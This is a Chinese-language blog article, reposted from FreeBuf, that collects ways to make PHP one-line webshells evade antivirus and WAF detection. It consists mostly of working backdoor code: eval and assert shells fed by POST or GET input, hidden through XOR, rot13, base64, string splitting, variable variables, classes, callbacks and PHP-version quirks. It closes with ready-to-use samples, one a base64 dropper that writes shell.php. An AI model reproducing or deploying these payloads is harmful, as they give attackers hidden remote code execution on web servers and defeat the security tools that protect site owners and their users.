关于PHP的webshell免杀小结

0X00普通的一句话木马(适用于CTF和小站)

<?php eval($_POST['a']); ?>
//函数的相似替换
<?php assert($_POST['a']); ?>

<?php @eval($_POST['110']);?>与第一个一句话木马相比多了一个”@“字符,我们发现这个字符的含义是在php语法中表示抑制错误信息即使有错误也不返回;属于不太重要的”组件”,而且它的写入位置也相对灵活;可以是eval函数前面,也可以是post函数前面…..

接着我们看第二个代码,我们发现它把eval函数替换为了assert函数;这时我们通过查看PHP手册(友情链接)发现如下区别:

  • eval():函数把字符串当做代码来计算,但是字符串必须是正确的PHP代码,且要以分号结尾
  • assert():通过函数判断表达式是否成立,如果成立是会执行该表达式,否则报错

可以考虑使用assert函数代替eval函数,因为eval函数实在太敏感了!!!这时又有师傅会问:那还有什么敏感函数呢?那就太多了(eg:system,post,get…..),因此我们可以更据免杀的精髓得出,混淆和加密这两种百试不爽的两个方法。

小提示:php一句话木马也可以执行其他命令!(<pre> <body><? @system($_GET["calc"]); ?></body> </pre>)所以,不一定要用POST函数,GET函数也是可以的!(注意:get函数只能向服务器请求信息,所以只能和命令执行绑定在一起哟!)

0X01 php的免杀(字符串免杀思路)


字符串异或加密

字符串base家族加密

字符串rot13加密

字符串拼接

php免杀之异或免杀

大多数情况下,开发者为了方便自身的需求,会使用”黑名单”的方式扳掉许多敏感函数,来达到一个表面看上去新相对安全的一个目的,但是却不知道因为这种大意的思维会导致整个系统都处于极度危险中;攻击者以往遇见这种情况。完全可以通过加密的方法可以解决大部分的问题(eg:异或加密,base家族加密,URL加密…..)。所以我们常常会说:白名单>WAF>黑名单!

^“为异或运算符,在PHP中,两个变量进行异或时,会将字符串转换成二进制再进行异或运算,异或运算完,又将结果从二进制转换成了字符串(参考链接

<?php
$_=('%01'^'`').('%13'^'`').('%13'^'`').('%05'^'`').('%12'^'`').('%14'^'`'); 
$__='_'.('%0D'^']').('%2F'^'`').('%0E'^']').('%09'^']'); 
$___=$$__;
$_($___[_]); 
<?php
$_++;
$__ = ("`" ^ "?") . (":" ^ "}") . ("%" ^ "`") . ("{" ^ "/");
$___ = ("$" ^ "{") . ("~" ^ ".") . ("/" ^ "`") . ("-" ^ "~") . ("(" ^ "|");
('%05'^'`')
${$__}[!$_](${$___}[$_]);
?>
<?php
$__=('>'>'<')+('>'>'<');
$_=$__/$__;
$____='';
$___="瞰";$____.=~($___{$_});$___="和";$____.=~($___{$__});$___="和";$____.=~($___{$__});$___="的";$____.=~($___{$_});$___="半";$____.=~($___{$_});$___="始";$____.=~($___{$__});
$_____='_';$___="俯";$_____.=~($___{$__});$___="瞰";$_____.=~($___{$__});$___="次";$_____.=~($___{$_});$___="站";$_____.=~($___{$_});
$_=$$_____;
$____($_[$__]);

小提示:可以通过下列的PHP异或脚本解决生成函数的问题

<?php
    $test = '~!@#$%^&*()_+\|/?.,-={}[]';
    for($i=0;$i<strlen($test);$i++){
        for($j=0;$j<strlen($test);$j++){
            if(ord($test[$i]^$test[$j])>64 && ord($test[$i]^$test[$j])<91){
                echo $test[$i].'^'.$test[$j].'结果为:';
                echo $test[$i]^$test[$j];
                echo '<br>';
            }else if(ord($test[$i]^$test[$j])>97 && ord($test[$i]^$test[$j])<122){
                echo $test[$i].'^'.$test[$j].'结果为:';
                echo $test[$i]^$test[$j];
                echo '<br>';
            }
        }
    } 
?>

虽然简单方便,但是容易通过静态识别被发现,这样我们的免杀就会被识破,为了继续进行wbshell免杀,我们可以通过学习下面的免杀技巧,并与之相结合!从而达到绕过WAF与php禁用函数的目的!

php免杀之base家族加密

<?php
$a = 'd2hvYW1p';
echo base64_decode($a).'';
?>

这种方法没有什么特别的用处,但是可以尝试base16或base32与其他方法搭配使用,效果是不错的!

php免杀之rot13加密

<?php
$a=str_rot13('riny');
$a($_POST['110']);
?>

rot13对eavl函数进行加密,即”riny”(可以通过这种方式绕过函数的正则匹配)!

1661748548890-82dea0b9-b474-4c44-9363-d29913f663b3.png

虽然威胁级别很高,但是我们可以作用于其他免杀的处理上,使得免杀率得到一定程度的下降!(但是下面这个却被杀的死死的,我不理解,会不会是格式原因呢?)

<?php
class A{
function xxx($a){
$b=str_rot13('!r!i!n!y!!');
$str=explode('!',$b)[5];
$str($a);}
}
$c=new A();
$c->xxx($_REQUEST['110']);
?>
1661748979161-93a6a991-0702-4f17-aed8-22ba7059c3f3.png

php免杀之拼接免杀

<?php $k="e"."v"."a"."l"; $k(${"_PO"."ST"} ['110']);?>
1661749088249-215a4b8c-fef7-4bcb-8876-c32afd1e7e1f.png

我们可以将敏感函数拆分,然后做一个简单的敏感函数免杀!其次也可以使用下面的arry数组结构函数进行免杀。

<?php
$a = substr_replace("xxser","asser",-3);
$b = array('',$a);
$c = $b[1].chr('116');
$fun=preg_replace("/xx/","",$c);
$d = substr_replace("",$fun,0);
$d ($_POST['110']);
?>
1661749141203-b6efe4c6-138a-4fb1-80af-f724520bbc33.png

也就是说,我们只要把PSOT函数在用rot13加个密就可以了;或者考虑变量替换(但是根据D盾的检测来看,效果不一定会比加密好)!

php免杀之混淆免杀

<?php 
function a() 
{ 
return "/*110110110110*/".$_POST['110']."/*110110110110**/"; 
} 
@eval(a()); 
?>
1661749442895-962013b2-7731-4f3d-a615-3a354b07f198.png

单纯的字符串变化直接被杀的死死的,因此我们还需要配合其他无用字符去混淆视听,进而增强免杀效果!

<?php $a = str_replace(x,"","xexaxvxlx"); $a(@$_POST["110"]); ?>
1661749531674-2d78ff30-c3df-4da9-bfb2-7b20774a627b.png

这里多少一句啊,为了避免被检测到,可以参考文件上传的原理(重点是想办法造成溢出),这样的后果就是文件变大,不过适合搭配图片马使用。

0X02 php的免杀(函数特性免杀思路)


函数替换

自定义函数绕过

变形回调

数组

可变变量

php免杀之函数替换

array_map():函数基本上是将数组的每个元素发送到用户自定义的函数中进行修改或处理,然后返回一个具有该函数修改后新值的数组。

array_filter():通过函数过滤掉数组中的元素
array_reduce():发送数组中的值到用户自定义函数,并返回一个字符串
array_diff_uassoc():比较两个数组的键名和键值(使用用户自定义函数比较键名),并返回差集
array_udiff():比较两个数组的键值(使用用户自定义函数比较键值),并返回差集
array_udiff_uassoc():通过使用自定义函数比较键和值,计算数组的差集
array_intersect_assoc():比较两个数组的键名和键值,并返回交集
array_uintersect():比较两个数组的键值(使用用户自定义函数比较键值),并返回交集
array_uintersect_uassoc():比较两个数组的键名和键值(使用用户自定义函数进行比较),并返回交集
xml_set_character_data_handler():该函数规定当解析器在 XML 文件中找到字符数据时所调用的函数。如果处理器被成功的建立,该函数将返回 true;否则返回 false。
xml_set_default_handler():函数为 XML 解析器建立默认的数据处理器。该函数规定在只要解析器在 XML 文件中找到数据时都会调用的函数。如果成功,该函数则返回 TRUE。如果失败,则返回 FALSE。
xml_set_external_entity_ref_handler():函数规定当解析器在 XML 文档中找到外部实体时被调用的函数。如果成功,该函数则返回 TRUE。如果失败,则返回 FALSE

xml_set_notation_decl_handler():函数规定当解析器在 XML 文档中找到符号声明时被调用的函数。

如果成功,该函数则返回 TRUE。如果失败,则返回 FALSE。xml_set_unparsed_entity_decl_handler():函数规定在遇到无法解析的实体名称(NDATA)声明时被调用的函数。如果处理器被成功的建立,该函数将返回 true;否则返回 false。

尽量去PHP语法手册,找一些及其偏门的函数……..

php免杀之自定义函数绕过(可搭配大小写)

<?php 
 function aaa($a){
     return $a;
 }
 function bbb($b){
     return eval($b);
 }
 function post(){
    return @$_POST['110'];
}    
function run(){
    return aaa(bbb)(aaa(post)());
}
aaa(bbb)(aaa(post)());
?>
1661750796549-4a0477b0-d801-4a81-af3c-0da73047339d.png

我们可以通过我们自定义的函数方式,搭配php的版本和可替换函数绕过WAF的拦截,达到免杀的目的!由于在PHP函数中函数名、方法名、类名 不区分大小写,但推荐使用与定义时相同的名字的时候还可以使得大小写进行绕过,所以大大提升了免杀效果!

php免杀之回调函数加组合绕过

array_walk()  
array_map()
filter_var() 
filter_var_array() 
uasort() 
uksort() 

以上是常见的可待替代函数,但是大部分都被杀的死死的,所以需要混淆才可以使用!

php免杀之数组绕过

<?php
$a = substr_replace("evxx","al",2);
$b = array($arrayName = ($arrayName =($arrayName = array('a' => $b($_POST['110'])))));
?>

1663228728_6322db3846e928ae12d59.png!small?1663228727485

php免杀之可变变量

PHP中有一种变量叫做可变变量,这种变量不是一种基础类型的变量。可变变量是指一个普通变量的值可以作为另一个变量的名称被使用。这句话听起来有些抽象。我们可以通过实例来展示可变变量的定义以及实用。

<?php 
$zeo='miansha';
$$zeo=$_POST['110'];
eval($miansha);
?>
1661750855191-c6c5c08e-2950-4369-bcc2-1c88c952aeb7.png

这个时候我们就可以使用一些多次加密的手段,把eval函数进行一个多次加密,已达到完全免杀的结果!

php的免杀使用类绕过免杀

类现在是大多数人的常用选择之一,因为类这个方法在过D盾检测的时候效率较高;但是用类自然就少不了魔法函数,我们简单构造一个类的免杀马如下:

<?php 
 class zeo2
 {
   public $b ='';
   function post(){
     return $_POST['x'];
   }
 }
class zeo extends zeo2
{
  public $code=null;
  function __construct(){
          $code=parent::post();
    assert($code);
}
}
$blll = new zeo;
$bzzz = new zeo2;
?>
1661751071629-070e64c4-f620-4710-9a83-e8e63968bc13.png

0X03 php的免杀(基于PHP版本差异进行免杀)


传统的php免杀不用多说了,无非就是各种变形和外部参数获取,对于一些先进的waf和防火墙来说,不论如何解析最终都会到达命令执行的地方,但是如果语法报错的话,就可能导致解析失败了,这里简单说几个利用php版本来进行语义出错的php命令执行方式。

1、利用特殊符号来引起报错





<?php \echo 'whoami'; ?>

PHP版本:只限于5.2版本

它的要求是能干扰到杀软的正则判断,还要代码能执行。这个可以自己慢慢测试。具体就是利用各种回车、换行、null和空白字符,这里我们尝试改造为可连接的一句话木马,配合上面的可变变量





<?php 
$xxxxxxxxxxxxxx='miansha'; 
$$xxxxxxxxxxxxxx=$_POST['110']; 
eval(``.$miansha); 
?>
1661751206423-45b55ef5-8f6c-4173-b18b-16739d083eeb.png

2、十六进制字符串

PHP版本:只限于5.3和5.5版本;在php7中不认为是数字,php5则依旧为数字。(友情提示: 5.X可以成功执行命令,php7无法执行)





<?php $s=substr("aabbccsystem","0x6"); $s(whoami) ?>
1661751299889-a67ef200-31b6-467e-963e-52c05a12d68b.png

小提示:对于我们可以结合垃圾数据,变形混淆,以及大量特殊字符和注释的方式来构造更多的payload,毕竟每家的waf规则不同,配置也不同,与一些传输层面的bypass进行结合产生的可能性就会非常多样。

3、利用在语法不换行来执行命令

PHP版本:只限于7.3.4版本,如果是其他的版本就会报错,所以针对性较强!









<?php
$a = $_GET['function'] ?? 'whoami';
$b = $_GET['cmd'] ?? 'whoami';
$a(null.(null.$b));
?>

小提示:7.0版本的??特性,如果版本为5.x的话就会报错,可以结合一些其他的方式吧!

1663229252_6322dd448aab077782e4d.png!small?1663229251201

0X04PHP一句话免杀实例

我这边就送个大家一些免杀把!

<?php 
$file="shell.php";
$shell="PD9waHAKJGEgPSBzdWJzdHJfcmVwbGFjZSgieHhzZXIiLCJhc3NlciIsLTMpOwokYiA9IGFycmF5KCcnLCRhKTsKJGMgPSAkYlsxXS5jaHIoJzExNicpOwokZnVuPXByZWdfcmVwbGFjZSgiL3h4LyIsIiIsJGMpOwokZCA9IHN1YnN0cl9yZXBsYWNlKCIiLCRmdW4sMCk7CiRkICgkX1BPU1RbJzExMCddKTsKPz4=";
file_put_contents($file,base64_decode($shell));
?>
//连接密码110
1663227551_6322d69f9882146a6e6fb.png!small?1663227550279

另外在附上小马一个,希望大家一起集思广益!

<?php
ini_set("display_errors",1);
$objPQ = new SplPriorityQueue();
$objPQ->insert('m',1);
$objPQ->insert('s',6);
$objPQ->insert('e',3);
$objPQ->insert('s',4);
$objPQ->insert('y',5);
$objPQ->insert('t',$_GET[a]);
$objPQ->setExtractFlags(SplPriorityQueue::EXTR_DATA);
//Go to TOP
$objPQ->top();
$m='';
$cur = new ErrorException($_GET[b]);
while($objPQ->valid()){
 $m.=$objPQ->current();
 $objPQ->next();
}
echo $m($cur->getMessage());
?>
//密钥3
1663228172_6322d90c734d1651e387d.png!small?1663228171162

0X04 一句话免杀小结

这篇文章的目的是想让大家对一句话木马免杀有一定的了解,在免杀对抗越来越激烈的情况下,我们不得不发散自己的思维。这次就由我来抛砖引玉,大家有什么想法,可以评论区交流!

其他参考:

PHP WebShell 免杀:链接

PHP大小写辨析:链接

本文转载于FreeBuf.COM,原作者:面包and牛奶 
原地址:关于PHP的webshell免杀小结 – FreeBuf网络安全行业门户
若侵权请联系删除

© 版权声明
THE END
喜欢就支持一下吧
点赞8赏点小钱 分享